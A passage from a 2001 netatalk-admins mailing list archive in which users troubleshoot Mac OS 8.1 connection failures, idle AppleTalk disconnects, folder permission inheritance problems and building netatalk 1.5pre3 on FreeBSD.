<tbody><tr><th valign="Baseline" align="Right" nowrap="">Subject: </th><td>Mac OS 8.1</td></tr><tr><th valign="Baseline" align="Right" nowrap="">Resent-Date: </th><td>Mon, 19 Feb 2001 10:01:03 -0500 (EST)</td></tr><tr><th valign="Baseline" align="Right" nowrap="">Resent-From: </th><td><a class="moz-txt-link-abbreviated" href="mailto:netatalk-admins@umich.edu">netatalk-admins@umich.edu</a></td></tr><tr><th valign="Baseline" align="Right" nowrap="">Date: </th><td>Mon, 19 Feb 2001 11:39:43 -0300</td></tr><tr><th valign="Baseline" align="Right" nowrap="">From: </th><td>Cass Surek <a class="moz-txt-link-rfc2396E" href="mailto:cass@master.com.br">&lt;cass@master.com.br&gt;</a></td></tr><tr><th valign="Baseline" align="Right" nowrap="">To: </th><td><a class="moz-txt-link-abbreviated" href="mailto:netatalk-admins@umich.edu">netatalk-admins@umich.edu</a></td></tr></tbody>
</table>
<br>
<br>
<pre>Guys,

Are there any problems with the Mac OS 8.1 and netatalk?

8.1 doesn't work (it won't even bring me the login page), but 8.6 does.

Thank you for any clues,

Cass Surek





</pre>
</body></html>
--------------030907030700040209050203--


From netatalk.administrators-errors@umich.edu  Thu Mar  1 10:33:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA07473
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 10:33:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA23457
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 10:33:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA23443
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 10:33:14 -0500 (EST)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA23243
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 10:33:07 -0500 (EST)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id QAA06060
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 16:30:04 +0100
Message-ID: <3A9E6AFF.D4E84F3E@euc.de>
Date: Thu, 01 Mar 2001 16:30:06 +0100
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: losing connection to server
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

hi there,

as a newbie to netatalk here's a (I guess) mostly often discussed question...

when loggin on to the linux server (suse 7.x, netatalk 1.5.x)
the server cuts up the connection afer a period of time. 

Is there a switch to keep the connections alive when they go idle?




-- 
--schnipp-- 

best regards

---------
Mac Conin

From netatalk.administrators-errors@umich.edu  Thu Mar  1 13:48:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA12357
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 13:48:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10029
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 13:48:38 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10013
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 13:48:37 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA09977
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 13:48:35 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Thu, 01 Mar 2001 10:49:49 -0800
Message-Id: <sa9e294d.003@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Thu, 01 Mar 2001 10:49:20 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Serious Permissions Problems - URGENT!
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA12357

I'm having some serious permissions problems on my netatalk-1.4b2+asun2.1.3 system.  (Yellow Dog Linux 1.2)

There's something not right about the way permissions are getting inherited.  I'm getting things like this:

Create new folder "Folder B" inside "Folder A"... no problem
Create new folder "Folder C" inside "Folder B"... get "You cannot create a folder inside "Folder B" because you do not have sufficient access privileges"

Now, that I could sort of live with... The kicker is, the folder DOES get created!!!!  So it says it can't, but does anyways.  

I am the owner of all of the above folders and they SEEM to be correctly inheriting permissions from the previous level up.

Now, what's really weird... as I said, Folder C DOES get created.  If I open it and then try and create Folder D inside of Folder C, there's no problem!  Where is this screwing up??  I can go off and do whatever I want within Folder C, but trying to create anything in Folder B results in the above message.  I get the same results when I try and copy a folder into Folder B.

This will happen EVERY time I create a folder within Folder A.  I can create Folder "B" fine, but then get errors trying to create anything within it.

Permissions on "Folder A" are set to drwsrwsr-x.  New folders created in Folder A get drwxrwxr-x.  I know that this is wrong, and manually changing the permissions to be the same as the parent folder will fix the problem for that one folder.  Folders created WITHIN Folder C get drwxrwxr-x permissions as well, yet they work fine.

What is going on?!??!?!?!?  I'm pulling my hair out!!

Thanks in advance,

Bryn

From netatalk.administrators-errors@umich.edu  Thu Mar  1 14:22:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA13567
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 14:22:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA21160
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 14:22:47 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA21131
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 14:22:47 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA21079
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 14:22:45 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Thu, 01 Mar 2001 11:24:05 -0800
Message-Id: <sa9e3155.056@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Thu, 01 Mar 2001 11:23:30 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Serious Permissions Problems - URGENT! (MORE!)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA13567

More information:

If I change the group to "root" for the affected directories, everything works fine.  This is why new directories within the other ones are working, all new directories are getting created with 'root' as the group.  I tried creating a new group (testgroup) with nobody but my ID and 'root' as the members, that did not work either.

What am I missing?? 

Bryn


>>> "Bryn Hughes" <bhughes@vcc.bc.ca> - 3/1/01 10:49 AM >>>
I'm having some serious permissions problems on my netatalk-1.4b2+asun2.1.3 system.  (Yellow Dog Linux 1.2)

There's something not right about the way permissions are getting inherited.  I'm getting things like this:

Create new folder "Folder B" inside "Folder A"... no problem
Create new folder "Folder C" inside "Folder B"... get "You cannot create a folder inside "Folder B" because you do not have sufficient access privileges"

Now, that I could sort of live with... The kicker is, the folder DOES get created!!!!  So it says it can't, but does anyways.  

I am the owner of all of the above folders and they SEEM to be correctly inheriting permissions from the previous level up.

Now, what's really weird... as I said, Folder C DOES get created.  If I open it and then try and create Folder D inside of Folder C, there's no problem!  Where is this screwing up??  I can go off and do whatever I want within Folder C, but trying to create anything in Folder B results in the above message.  I get the same results when I try and copy a folder into Folder B.

This will happen EVERY time I create a folder within Folder A.  I can create Folder "B" fine, but then get errors trying to create anything within it.

Permissions on "Folder A" are set to drwsrwsr-x.  New folders created in Folder A get drwxrwxr-x.  I know that this is wrong, and manually changing the permissions to be the same as the parent folder will fix the problem for that one folder.  Folders created WITHIN Folder C get drwxrwxr-x permissions as well, yet they work fine.

What is going on?!??!?!?!?  I'm pulling my hair out!!

Thanks in advance,

Bryn



From netatalk.administrators-errors@umich.edu  Thu Mar  1 15:35:06 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA16554
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 15:35:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA00203
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 15:35:06 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA00185
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 15:35:06 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA00140
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 15:35:04 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.colt.in-berlin.de [213.61.118.6])
	by gnu.in-berlin.de (8.10.1/8.10.1) with ESMTP id f21KZ3P12615
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 21:35:03 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.11.1/8.11.1/Debian 8.11.0-6) with UUCP id f21KZ2P02318
	for netatalk-admins@umich.edu; Thu, 1 Mar 2001 21:35:02 +0100
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.22 #1 (Debian))
	id 14YZ4K-0000mN-00
	for <netatalk-admins@umich.edu>; Thu, 01 Mar 2001 20:48:56 +0100
Date: Thu, 1 Mar 2001 20:48:56 +0100
To: netatalk-admins@umich.edu
Subject: Re: FreeBSD - Building 1.5pre3...
Message-ID: <20010301204856.B2892@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <B6C4189F.4177%jasonq@mac.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.15i
In-Reply-To: <B6C4189F.4177%jasonq@mac.com>; from jasonq@mac.com on Thu, Mar 01, 2001 at 03:17:52PM +0100
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Thu, Mar 01, 2001 at 03:17:52PM +0100, Jason Quigley wrote:

> Does anybody have any tips on building 1.5pre* under FreeBSD 4.2?
> 
> I have these packages installed:
> 
[...]
> gmake-3.79.1       
[...]
> 
> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
> 
> When I run make, I get the following error:
> 
> [vulcan:~/netatalk] jason# make
[...]
> Stop in /root/netatalk/libatalk.
> *** Error code 1
[...]

This doesn't look like output from gmake. This may be the problem.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Thu Mar  1 15:36:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA16576
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 15:36:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA22290
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 15:36:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA22261
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 15:36:40 -0500 (EST)
Received: from gekko.i-clue.de (server.ms-agentur.de [62.153.134.194])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA22179
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 15:36:38 -0500 (EST)
Received: from i-clue.de (automatix.i-clue.de [192.168.0.112])
	by gekko.i-clue.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id WAA13000;
	Thu, 1 Mar 2001 22:42:49 +0100
Message-ID: <3A9EB326.7694B792@i-clue.de>
Date: Thu, 01 Mar 2001 21:37:58 +0100
From: Christoph Sold <so@server.i-clue.de>
Reply-To: so@server.i-clue.de
X-Mailer: Mozilla 4.75 [de] (WinNT; U)
X-Accept-Language: de
MIME-Version: 1.0
To: Jason Quigley <jasonq@mac.com>
CC: netatalk-admins@umich.edu
Subject: Re: FreeBSD - Building 1.5pre3...
References: <B6C4189F.4177%jasonq@mac.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Did you use gmake? Remember, BSD make is pretty different from GNU make.

HTH
-Christoph Sold

Jason Quigley schrieb:
> 
> Hi!
> 
> Does anybody have any tips on building 1.5pre* under FreeBSD 4.2?
> 
> I have these packages installed:
> 
> autoconf-2.13
> automake-1.4
> gettext-0.10.35
> gmake-3.79.1
> libtool-1.3.4_2
> m4-1.4
> makedepend-2000.12.28
> 
> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
> 
> When I run make, I get the following error:
> 
> [vulcan:~/netatalk] jason# make
> make  all-recursive
> Making all in libatalk
> Making all in adouble
> "Makefile", line 231: Need an operator
> make: fatal errors encountered -- cannot continue
> *** Error code 1
> 
> Stop in /root/netatalk/libatalk.
> *** Error code 1
> 
> Stop in /root/netatalk.
> *** Error code 1
> 
> Stop in /root/netatalk.
> [vulcan:~/netatalk] jason#
> 
> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
> 
> Line 231 reads:
> 
> -include $(DEP_FILES)
> 
> %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
> 
> This somehow doesn't seem right. Am I missing other prerequisites? Maybe
> gawk instead of awk? I can't think of anything else related to Makefile
> munging.
> 
> Thanks,
> Jason.

-- 
Freundliche Grüße aus Waiblingen

Christoph Sold
--
Systemadministrator, i-clue GmbH, Endersbacher Str. 57, 71334 Waiblingen
Fon: (0 71 51) 9 59 01-12, Fax: (0 71 51) 9 59 01-55, Mail: so@i-clue.de

From netatalk.administrators-errors@umich.edu  Thu Mar  1 15:55:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA17112
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 15:55:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA26075
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 15:55:20 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA26049
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 15:55:20 -0500 (EST)
Received: from rgrjr.dyndns.org (h0050da615e79.ne.mediaone.net [24.218.161.12])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id PAA25987
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 15:55:18 -0500 (EST)
Received: (qmail 16032 invoked by uid 500); 1 Mar 2001 20:55:10 -0000
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15006.46894.567131.805696@h0050da615e79.ne.mediaone.net>
Date: Thu, 1 Mar 2001 15:55:10 -0500
From: Bob Rogers <rogers-netatalk@rgrjr.dyndns.org>
To: Cass Surek <cass@master.com.br>
Cc: netatalk-admins@umich.edu
Subject: [Fwd: Mac OS 8.1]
In-Reply-To: <3A9E5D83.2050300@master.com.br>
References: <3A9E5D83.2050300@master.com.br>
X-Mailer: VM 6.89 under Emacs 20.7.1

   From: Cass Surek <cass@master.com.br>
   Date: Thu, 01 Mar 2001 11:32:35 -0300

   A while ago I posted this, but got no response.

That's probably because "won't work" isn't much to go on.

   We found out that if we enter the IP address of the server, it works out 
   fine, but just a double click on the server on the Chooser won't work.

   Thanks

   Cass

What version of netatalk?  What OS, kernel version, distribution, etc.?
Have you verified that the kernel has DDP support loaded?

					-- Bob Rogers

From netatalk.administrators-errors@umich.edu  Thu Mar  1 15:57:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA17153
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 15:57:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA18744
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 15:57:12 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA18734
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 15:57:11 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA18689
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 15:57:09 -0500 (EST)
Received: from arts.usyd.edu.au (IDENT:matthew@holly.aitch.ucc.usyd.edu.au [129.78.226.234])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id HAA10980;
	Fri, 2 Mar 2001 07:57:04 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3A9EB829.6DEF15BC@arts.usyd.edu.au>
Date: Fri, 02 Mar 2001 07:59:21 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2-XFS i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: Mac Conin <mconin@euc.de>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: losing connection to server
References: <3A9E6AFF.D4E84F3E@euc.de>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms3BB7458027AFF4F7AB4867F1"

This is a cryptographically signed message in MIME format.

--------------ms3BB7458027AFF4F7AB4867F1
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Mac Conin wrote:
> 
> hi there,
> 
> as a newbie to netatalk here's a (I guess) mostly often discussed question...
> 
> when loggin on to the linux server (suse 7.x, netatalk 1.5.x)
> the server cuts up the connection afer a period of time.
> 
> Is there a switch to keep the connections alive when they go idle?

 An ASIP capable client that connects via AppleTalk instead of IP will
do this. Been discussed before, but no one has offered a solution. 
 I.E, on my installation if a MacOS 8.1 or later machine connects via
AppleTalk they will get booted off in about 5 minutes. Via TCP/IP it
works fine.
 I found some 8.6 machines connecting via AppleTalk instead of IP when
they were set to 'connect at startup'. We also run 'keyserver' which has
both AppleTalk and IP communications. When its set to IP, it forces the
IP stack to load before the AppleShare prep is read, thus IP is
available when the shares are mounted.
 The disconnection problem is still there, but the users don't notice
any more. (And get a faster fileshare connection in the deal..)
--------------ms3BB7458027AFF4F7AB4867F1
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH4AYJKoZIhvcNAQcCoIIH0TCCB80CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BckwggKtMIICFqADAgECAgMC8UswDQYJKoZIhvcNAQEEBQAwgZQxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxFDASBgNVBAcTC0R1cmJhbnZpbGxlMQ8wDQYDVQQKEwZU
aGF3dGUxHTAbBgNVBAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25h
bCBGcmVlbWFpbCBSU0EgMTk5OS45LjE2MB4XDTAwMDcyMTAyNDAzNFoXDTAxMDcyMTAyNDAz
NFowSjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEnMCUGCSqGSIb3DQEJARYY
bWF0dGhld0BhcnRzLnVzeWQuZWR1LmF1MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDR
gAKbBhCplgqyhkR0Ykn4XOW0Py1G40orbP+B2KkACTMx4GxhHNg2h3nPiNC/P/9BZETw6NA+
dp/mxtN7XHmvRounnCL+9pjG3yWpw/ONNEpObjRSfujGe/jJvUF2vrAfecI/J5DKQ0/5gZMv
5fqfl4spYSPl+9vc2hKG7uvjgQIDAQABo1YwVDAjBgNVHREEHDAagRhtYXR0aGV3QGFydHMu
dXN5ZC5lZHUuYXUwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBSIq/Fgg2ZV9ORYx0YdwGG9
I9fDjDANBgkqhkiG9w0BAQQFAAOBgQBjjvY9P9hSktFnCJrkQSTKjh9ZBG9a58a0Hi+GvmyD
t9e29sRgxHN+Nwtsu2yUs8+xv1BemYzCnri+y91uJsfRTrm4+1oc/TV+lDGWqBud68wf4x29
/xaj1oQ2vWMy1Y64KZSWyxjt+vcU5/nyNF3DGz9XtXlxTI8dntzEWkyq/DCCAxQwggJ9oAMC
AQICAQswDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcx
KDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1Ro
YXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJl
ZW1haWxAdGhhd3RlLmNvbTAeFw05OTA5MTYxNDAxNDBaFw0wMTA5MTUxNDAxNDBaMIGUMQsw
CQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxs
ZTEPMA0GA1UEChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYG
A1UEAxMfUGVyc29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNjCBnzANBgkqhkiG9w0BAQEF
AAOBjQAwgYkCgYEAs2lal9TQFgt6tcVd6SGcI3LNEkxL937Px/vKciT0QlKsV5Xje2F6F4Tn
/XI5OJS06u1lp5IGXr3gZfYZu5R5dkw+uWhwdYQc9BF0ALwFLE8JAxcxzPRB1HLGpl3iiESw
iy7ETfHw1oU+bPOVlHiRfkDpnNGNFVeOwnPlMN5G9U8CAwEAAaM3MDUwEgYDVR0TAQH/BAgw
BgEB/wIBADAfBgNVHSMEGDAWgBRyScJzNMZV9At2coF+d/SH58ayDjANBgkqhkiG9w0BAQQF
AAOBgQBrxlnpMfrptuyxA9jfcnL+kWBI6sZV3XvwZ47GYXDnbcKlN9idtxcoVgWL3Vx1b8aR
kMZsZnET0BB8a5FvhuAhNi3B1+qyCa3PLW3Gg1Kb+7v+nIed/LfpdJLkXJeu/H6syg1vcnpn
LGtz9Yb5nfUAbvQdB86dnoJjKe+TCX5V3jGCAd8wggHbAgEBMIGcMIGUMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRQwEgYDVQQHEwtEdXJiYW52aWxsZTEPMA0GA1UE
ChMGVGhhd3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVy
c29uYWwgRnJlZW1haWwgUlNBIDE5OTkuOS4xNgIDAvFLMAkGBSsOAwIaBQCggZkwGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMzAxMjA1OTI1WjAjBgkq
hkiG9w0BCQQxFgQUTcwV963xLQECzvmCIGWUXgj/ulMwOgYJKoZIhvcNAQkPMS0wKzAKBggq
hkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAwDQYJKoZIhvcNAQEBBQAE
gYDL6noUeZ6DXJ1mFvdq1aE2oSpNsZYOenCcI7xLPA0fa+Isnl4ajmlzjkyBi6Y13lq+EcC2
dwmgG5TA+5VoNLzh53UtNmTVNSJCdHgbKCS4BfAhnzsO949XiFEqLEETtd/FvtoO4F/P5V4+
Pnb2bb3GD4a3S5J5CrXdTyE1KJxjuw==
--------------ms3BB7458027AFF4F7AB4867F1--


From netatalk.administrators-errors@umich.edu  Thu Mar  1 16:58:26 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA18879
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 1 Mar 2001 16:58:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA29871
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 1 Mar 2001 16:58:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA29850
	for netatalk.administrators-members@umich.edu; Thu, 1 Mar 2001 16:58:19 -0500 (EST)
Received: from tsmtp2.mail.isp ([195.235.113.141])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA29483
	for <netatalk-admins@umich.edu>; Thu, 1 Mar 2001 16:58:07 -0500 (EST)
Received: from [10.0.0.3] ([213.97.106.73]) by tsmtp2.mail.isp
          (Netscape Messaging Server 4.15) with ESMTP id G9JGV406.ADP;
          Thu, 1 Mar 2001 22:54:40 +0100 
User-Agent: Microsoft-Entourage/9.0.2509
Date: Thu, 01 Mar 2001 22:57:10 +0100
Subject: Re: FreeBSD - Building 1.5pre3...
From: Jason Quigley <jasonq@mac.com>
To: <so@server.i-clue.de>, Sebastian Rittau <srittau@jroger.in-berlin.de>
CC: <netatalk-admins@umich.edu>
Message-ID: <B6C48446.41A6%jasonq@mac.com>
In-Reply-To: <3A9EB326.7694B792@i-clue.de>
Mime-version: 1.0
Sender: jason_quigley@terra.es
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Thanks guys!

Looks like I was a silly boy. I should have been using 'gmake' instead of
'make'. Why it didn't register I don't know! The expression "Can't see the
wood for the trees" springs to mind.

Anyway, the compile is going a bit better now. It's failing due to a missing
crypt.h. I'm not sure where to get this header file. Any ideas? There are
various cryptography packages and I don't want to install them willy nilly
until I get what I need.

I have the DES libs installed:

lrwxrwxrwx  1 root  wheel       13 Feb  1 18:29 /usr/lib/libcrypt.a ->
libdescrypt.a
lrwxrwxrwx  1 root  wheel       14 Feb  1 18:29 /usr/lib/libcrypt.so ->
libdescrypt.so
lrwxrwxrwx  1 root  wheel       16 Feb  1 18:29 /usr/lib/libcrypt.so.2 ->
libdescrypt.so.2
lrwxrwxrwx  1 root  wheel       15 Feb  1 18:29 /usr/lib/libcrypt_p.a ->
libdescrypt_p.a
-r--r--r--  1 root  wheel  1287976 Dec  2 17:39 /usr/lib/libcrypto.a
lrwxrwxrwx  1 root  wheel       14 Feb  1 18:29 /usr/lib/libcrypto.so ->
libcrypto.so.1
-r--r--r--  1 root  wheel   790036 Dec  2 17:39 /usr/lib/libcrypto.so.1
-r--r--r--  1 root  wheel  1376598 Dec  2 17:39 /usr/lib/libcrypto_p.a

I'm not sure what to do. In Debian Linux, it was just a case of installing
the dev pkg. I'm still trying to find my way around xBSDland.

Thanks,
Jason.


